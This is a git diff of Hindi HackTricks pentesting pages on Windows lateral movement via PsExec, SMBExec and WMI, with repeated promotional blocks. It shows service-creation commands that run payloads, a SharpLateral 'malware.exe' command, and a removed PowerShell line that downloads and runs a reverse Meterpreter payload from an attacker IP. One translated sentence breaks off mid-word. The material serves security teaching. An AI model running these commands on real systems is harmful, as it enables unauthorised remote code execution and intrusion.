<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में शामिल हों या मुझे **Twitter** 🐦 पर **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,59 +2,65 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो** करें.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
## वे कैसे काम करते हैं
|
||||
## ये कैसे काम करते हैं
|
||||
|
||||
1. SMB के माध्यम से ADMIN$ शेयर पर एक सेवा बाइनरी की प्रतिलिपि बनाएं
|
||||
2. बाइनरी को इंगित करते हुए दूरस्थ मशीन पर एक सेवा बनाएं
|
||||
3. दूरस्थ रूप से सेवा शुरू करें
|
||||
4. निकास होने पर, सेवा को रोकें और बाइनरी को हटा दें
|
||||
नीचे दिए गए चरणों में प्रक्रिया को दर्शाया गया है, जिससे सेवा बाइनरी को SMB के माध्यम से लक्षित मशीन पर रिमोट निष्पादन प्राप्त किया जा सकता है:
|
||||
|
||||
## **मैन्युअली PsExec'ing**
|
||||
1. **SMB के माध्यम से ADMIN$ सेयर पर सेवा बाइनरी की प्रतिलिपि** की जाती है।
|
||||
2. **रिमोट मशीन पर एक सेवा का निर्माण** बाइनरी की ओर इशारा करके किया जाता है।
|
||||
3. सेवा को **रिमोट रूप से शुरू** किया जाता है।
|
||||
4. बाहर निकलने पर, सेवा **रोकी जाती है, और बाइनरी हटाई जाती है**।
|
||||
|
||||
पहले मान लेते हैं कि हमारे पास एक पेलोड एक्जीक्यूटेबल है जिसे हमने msfvenom के साथ जनरेट किया है और Veil के साथ छिपाया है (ताकि AV इसे फ्लैग न करे)। इस मामले में, मैंने एक meterpreter reverse_http पेलोड बनाया और इसे 'met8888.exe' कहा
|
||||
### **PsExec को मैन्युअल रूप से निष्पादित करने की प्रक्रिया**
|
||||
|
||||
**बाइनरी की प्रतिलिपि बनाएं**। हमारे "jarrieta" कमांड प्रॉम्प्ट से, सिर्फ बाइनरी को ADMIN$ में कॉपी करें। वास्तव में, इसे फाइल सिस्टम पर कहीं भी छिपाया जा सकता है।
|
||||
यह माना जाता है कि एक निष्पादनीय पेलोड (msfvenom द्वारा बनाई गई और एंटीवायरस की पहचान से बचने के लिए Veil का उपयोग करके अव्यावरणित की गई), 'met8888.exe' नामक एक मीटरप्रेटर रिवर्स_http पेलोड को प्रस्तुत करती है, तो निम्नलिखित चरण लिए जाते हैं:
|
||||
|
||||
**सेवा बनाएं**। Windows `sc` कमांड का उपयोग Windows सेवाओं को पूछताछ करने, बनाने, हटाने आदि के लिए किया जाता है और इसे दूरस्थ रूप से उपयोग किया जा सकता है। इसके बारे में और पढ़ें [यहाँ](https://technet.microsoft.com/en-us/library/bb490995.aspx)। हमारे कमांड प्रॉम्प्ट से, हम दूरस्थ रूप से "meterpreter" नामक एक सेवा बनाएंगे जो हमारे अपलोड की गई बाइनरी को इंगित करती है:
|
||||
- **बाइनरी की प्रतिलिपि**: एक्जीक्यूटेबल को कमांड प्रॉम्प्ट से ADMIN$ सेयर में कॉपी किया जाता है, हालांकि यह किसी भी फाइल सिस्टम पर कहीं भी रखा जा सकता है ताकि यह छुपा रहे।
|
||||
|
||||
**सेवा शुरू करें**। अंतिम चरण सेवा शुरू करना और बाइनरी को निष्पादित करना है। _नोट:_ जब सेवा शुरू होती है तो यह "समय-सीमा" पर होगी और एक त्रुटि उत्पन्न करेगी। यह इसलिए है क्योंकि हमारी meterpreter बाइनरी एक वास्तविक सेवा बाइनरी नहीं है और अपेक्षित प्रतिक्रिया कोड वापस नहीं करेगी। यह ठीक है क्योंकि हमें बस इसे एक बार निष्पादित करने की आवश्यकता है:
|
||||
- **सेवा बनाना**: विंडोज `sc` कमांड का उपयोग करके, जो विंडोज सेवाओं का जांच, निर्माण और हटाने की अनुमति देता है, एक सेवा नामक "मीटरप्रेटर" नामक सेवा बनाई जाती है जो अपलोड की गई बाइनरी की ओर इशारा करती है।
|
||||
|
||||
यदि हम हमारे Metasploit लिसनर को देखें, तो हम देखेंगे कि सत्र खोला गया है।
|
||||
- **सेवा शुरू करना**: अंतिम चरण में सेवा शुरू करना शामिल है, जिससे बाइनरी एक वास्तविक सेवा बाइनरी न होने और अपेक्षित प्रतिक्रिया को वापस न करने के कारण "समय समाप्त" त्रुटि हो सकती है। यह त्रुटि अमूल्य है क्योंकि मुख्य लक्ष्य बाइनरी का निष्पादन है।
|
||||
|
||||
**सेवा साफ करें।**
|
||||
मेटास्प्लॉइट लिस्टनर का अवलोकन करेगा कि सत्र सफलतापूर्वक प्रारंभ हो गया है।
|
||||
|
||||
यहाँ से निकाला गया: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
[`sc` कमांड के बारे में अधिक जानें](https://technet.microsoft.com/en-us/library/bb490995.aspx)।
|
||||
|
||||
[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) में अधिक विस्तृत चरण खोजें।
|
||||
|
||||
**आप Windows Sysinternals बाइनरी PsExec.exe का भी उपयोग कर सकते हैं:**
|
||||
|
||||
![](<../../.gitbook/assets/image (165).png>)
|
||||
|
||||
आप [**SharpLateral**](https://github.com/mertdas/SharpLateral) का भी उपयोग कर सकते हैं:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,66 +2,52 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
## यह कैसे काम करता है
|
||||
## कैसे काम करता है
|
||||
|
||||
**Smbexec Psexec की तरह काम करता है।** इस उदाहरण में, हम "_binpath_" को पीड़ित के अंदर के दुर्भावनापूर्ण एक्जीक्यूटेबल की ओर इशारा करने के **बजाय**, हम इसे **cmd.exe या powershell.exe** की ओर इशारा करेंगे और उनमें से एक बैकडोर को डाउनलोड और निष्पादित करेगा।
|
||||
**Smbexec** **Psexec** की तरह काम करता है, जो विक्टिम के सिस्टम पर **cmd.exe** या **powershell.exe** को लक्ष्य बैकडोर कार्यान्वयन के लिए लक्षित करता है, जानकारीहीन एक्जीक्यूटेबल का उपयोग टालता है।
|
||||
|
||||
## **SMBExec**
|
||||
|
||||
आइए देखते हैं कि smbexec चलने पर क्या होता है, हमलावर और लक्ष्य की ओर से इसे देखकर:
|
||||
|
||||
![](../../.gitbook/assets/smbexec\_prompt.png)
|
||||
|
||||
तो हम जानते हैं कि यह "BTOBTO" नामक एक सेवा बनाता है। लेकिन जब हम `sc query` करते हैं तो वह सेवा लक्ष्य मशीन पर मौजूद नहीं होती है। सिस्टम लॉग्स में जो हुआ उसका सुराग मिलता है:
|
||||
|
||||
![](../../.gitbook/assets/smbexec\_service.png)
|
||||
|
||||
सेवा फ़ाइल नाम में निष्पादित करने के लिए एक कमांड स्ट्रिंग होती है (%COMSPEC% cmd.exe के पूर्ण पथ को इंगित करता है)। यह निष्पादित होने वाले कमांड को एक बैट फ़ाइल में इको करता है, stdout और stderr को एक Temp फ़ाइल में रीडायरेक्ट करता है, फिर बैट फ़ाइल को निष्पादित करता है और उसे हटा देता है। Kali पर वापस, Python स्क्रिप्ट फिर SMB के माध्यम से आउटपुट फ़ाइल को खींचती है और हमारे "pseudo-shell" में सामग्री प्रदर्शित करती है। हमारे "शेल" में हम जो भी कमांड टाइप करते हैं, एक नई सेवा बनाई जाती है और प्रक्रिया दोहराई जाती है। इसीलिए इसे बाइनरी ड्रॉप करने की जरूरत नहीं होती, यह सिर्फ प्रत्येक वांछित कमांड को एक नई सेवा के रूप में निष्पादित करता है। निश्चित रूप से अधिक चुपके से, लेकिन जैसा कि हमने देखा, प्रत्येक निष्पादित कमांड के लिए एक इवेंट लॉग बनाया जाता है। फिर भी एक गैर-इंटरैक्टिव "शेल" प्राप्त करने का एक बहुत ही चतुर तरीका!
|
||||
|
||||
## मैनुअल SMBExec
|
||||
|
||||
**या सेवाओं के माध्यम से कमांड निष्पादित करना**
|
||||
|
||||
जैसा कि smbexec ने दिखाया, बाइनरी की आवश्यकता के बिना सीधे सेवा binPaths से कमांड निष्पादित करना संभव है। यदि आपको लक्ष्य Windows मशीन पर केवल एक मनमाना कमांड निष्पादित करने की आवश्यकता है तो यह एक उपयोगी चाल हो सकती है। एक त्वरित उदाहरण के रूप में, चलिए बिना बाइनरी के एक रिमोट सेवा का उपयोग करके एक Meterpreter शेल प्राप्त करते हैं।
|
||||
|
||||
हम Metasploit के `web_delivery` मॉड्यूल का उपयोग करेंगे और एक PowerShell लक्ष्य के साथ एक रिवर्स Meterpreter पेलोड चुनेंगे। लिसनर सेट अप है और यह हमें लक्ष्य मशीन पर निष्पादित करने के लिए कमांड बताता है:
|
||||
```bash
|
||||
smbexec.py WORKGROUP/username:password@10.10.10.10
|
||||
```
|
||||
powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n');
|
||||
Smbexec की क्षमता में शामिल है एक अस्थायी सेवा (उदाहरण के लिए, "BTOBTO") बनाना लक्षित मशीन पर बिनरी छोड़े बिना कमांड को निष्पादित करने के लिए। यह सेवा, जो कमांड को cmd.exe के पथ (%COMSPEC%) के माध्यम से चलाने के लिए निर्मित है, आउटपुट को एक अस्थायी फ़ाइल में पुनर्निर्देशित करती है और निष्पादन के बाद खुद को हटा देती है। यह विधि छिपकली है लेकिन प्रत्येक कमांड के लिए घटना लॉग उत्पन्न करती है, जो आक्रमणकर्ता की ओर से जारी किए गए प्रत्येक कमांड के लिए एक गैर-संवादात्मक "शैल" प्रदान करती है।
|
||||
|
||||
## बिनरी के बिना कमांड निष्पादन
|
||||
|
||||
इस दृष्टिकोण की अनुमति सीधे कमांड निष्पादन के लिए सेवा binPaths के माध्यम से, बिनरी की आवश्यकता को समाप्त करते हैं। यह खासकर विंडोज लक्ष्य पर एक-बार कमांड निष्पादन के लिए उपयुक्त है। उदाहरण के लिए, Metasploit के `web_delivery` मॉड्यूल का उपयोग करके PowerShell-लक्षित प्रतिलोम Meterpreter पेलोड के साथ एक सुनने वाला स्थापित कर सकते हैं जो आवश्यक निष्पादन कमांड प्रदान करता है। आक्रमणकर्ता की विंडोज मशीन पर एक दूरस्थ सेवा बनाना और शुरू करना, जिसमें binPath को इस कमांड को cmd.exe के माध्यम से निष्पादित करने के लिए सेट किया गया है, Metasploit सुनने वाले की ओर से कॉलबैक और पेलोड निष्पादन को प्राप्त करने के बावजूद संभावित सेवा प्रतिक्रिया त्रुटियों के बावजूद, प्राप्त करने की अनुमति देता है।
|
||||
|
||||
### कमांड उदाहरण
|
||||
|
||||
सेवा बनाने और शुरू करने के लिए निम्नलिखित कमांडों के साथ संभावित है:
|
||||
```cmd
|
||||
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
|
||||
sc start [ServiceName]
|
||||
```
|
||||
हमारे Windows अटैक बॉक्स से, हम एक रिमोट सर्विस ("metpsh") बनाते हैं और binPath को हमारे पेलोड के साथ cmd.exe को एक्जीक्यूट करने के लिए सेट करते हैं:
|
||||
|
||||
![](../../.gitbook/assets/sc\_psh\_create.png)
|
||||
|
||||
और फिर इसे स्टार्ट करते हैं:
|
||||
|
||||
![](../../.gitbook/assets/sc\_psh\_start.png)
|
||||
|
||||
यह एरर दिखाता है क्योंकि हमारी सर्विस रिस्पॉन्ड नहीं करती, लेकिन अगर हम हमारे Metasploit लिसनर को देखें तो हमें पता चलता है कि कॉलबैक हुआ और पेलोड एक्जीक्यूट हुआ।
|
||||
|
||||
सभी जानकारी यहाँ से निकाली गई थी: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
# संदर्भ
|
||||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शुरुआत से लेकर एक्सपर्ट तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो** करें।
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,102 +2,87 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **मुझे** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का** **अनुसरण** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
## यह कैसे काम करता है
|
||||
## कैसे काम करता है विस्तार से समझा गया है
|
||||
|
||||
Wmi उन होस्ट्स में प्रोसेस खोलने की अनुमति देता है जहाँ आप यूजरनेम/(पासवर्ड/हैश) जानते हैं। फिर, Wmiexec wmi का उपयोग करके प्रत्येक कमांड को निष्पादित करता है जिसे निष्पादित करने के लिए कहा जाता है (इसीलिए Wmicexec आपको सेमी-इंटरएक्टिव शेल देता है)।
|
||||
प्रक्रियाएँ उन होस्टों पर खोली जा सकती हैं जहां उपयोगकर्ता का नाम और या तो पासवर्ड या हैश ज्ञात है विमान उपयोग के माध्यम से। Wmiexec द्वारा WMI का उपयोग करके आदेशों को क्रियान्वित किया जाता है, एक अर्ध-संवादात्मक शैल अनुभव प्रदान करता है।
|
||||
|
||||
**dcomexec.py:** यह स्क्रिप्ट wmiexec.py के समान एक सेमी-इंटरएक्टिव शेल देती है, लेकिन अलग DCOM एंडपॉइंट्स (ShellBrowserWindow DCOM ऑब्जेक्ट) का उपयोग करती है। वर्तमान में, यह MMC20. Application, Shell Windows और Shell Browser Window ऑब्जेक्ट्स का समर्थन करती है। ([यहाँ से](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
|
||||
|
||||
## WMI मूल बातें
|
||||
|
||||
### Namespace
|
||||
|
||||
WMI एक डायरेक्टरी-शैली की हायरार्की में विभाजित है, \root कंटेनर के साथ, \root के नीचे अन्य डायरेक्टरी। इन "डायरेक्टरी पथों" को नेमस्पेस कहा जाता है।\
|
||||
नेमस्पेस की सूची:
|
||||
**dcomexec.py:** विभिन्न DCOM अंतास्त्रों का उपयोग करके, यह स्क्रिप्ट wmiexec.py के समान एक अर्ध-संवादात्मक शैल प्रदान करता है, विशेष रूप से ShellBrowserWindow DCOM ऑब्ज
|
||||
```bash
|
||||
#Get Root namespaces
|
||||
# Retrieval of Root namespaces
|
||||
gwmi -namespace "root" -Class "__Namespace" | Select Name
|
||||
|
||||
#List all namespaces (you may need administrator to list all of them)
|
||||
# Enumeration of all namespaces (administrator privileges may be required)
|
||||
Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace
|
||||
|
||||
#List namespaces inside "root\cimv2"
|
||||
# Listing of namespaces within "root\cimv2"
|
||||
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
|
||||
```
|
||||
नेमस्पेस की क्लासेस की सूची इसके साथ:
|
||||
एक नेमस्पेस के भीतर क्लासेस को निम्नलिखित तरीके से सूचीबद्ध किया जा सकता है:
|
||||
```bash
|
||||
gwmwi -List -Recurse #If no namespace is specified, by default is used: "root\cimv2"
|
||||
gwmwi -List -Recurse # Defaults to "root\cimv2" if no namespace specified
|
||||
gwmi -Namespace "root/microsoft" -List -Recurse
|
||||
```
|
||||
### **कक्षाएं**
|
||||
|
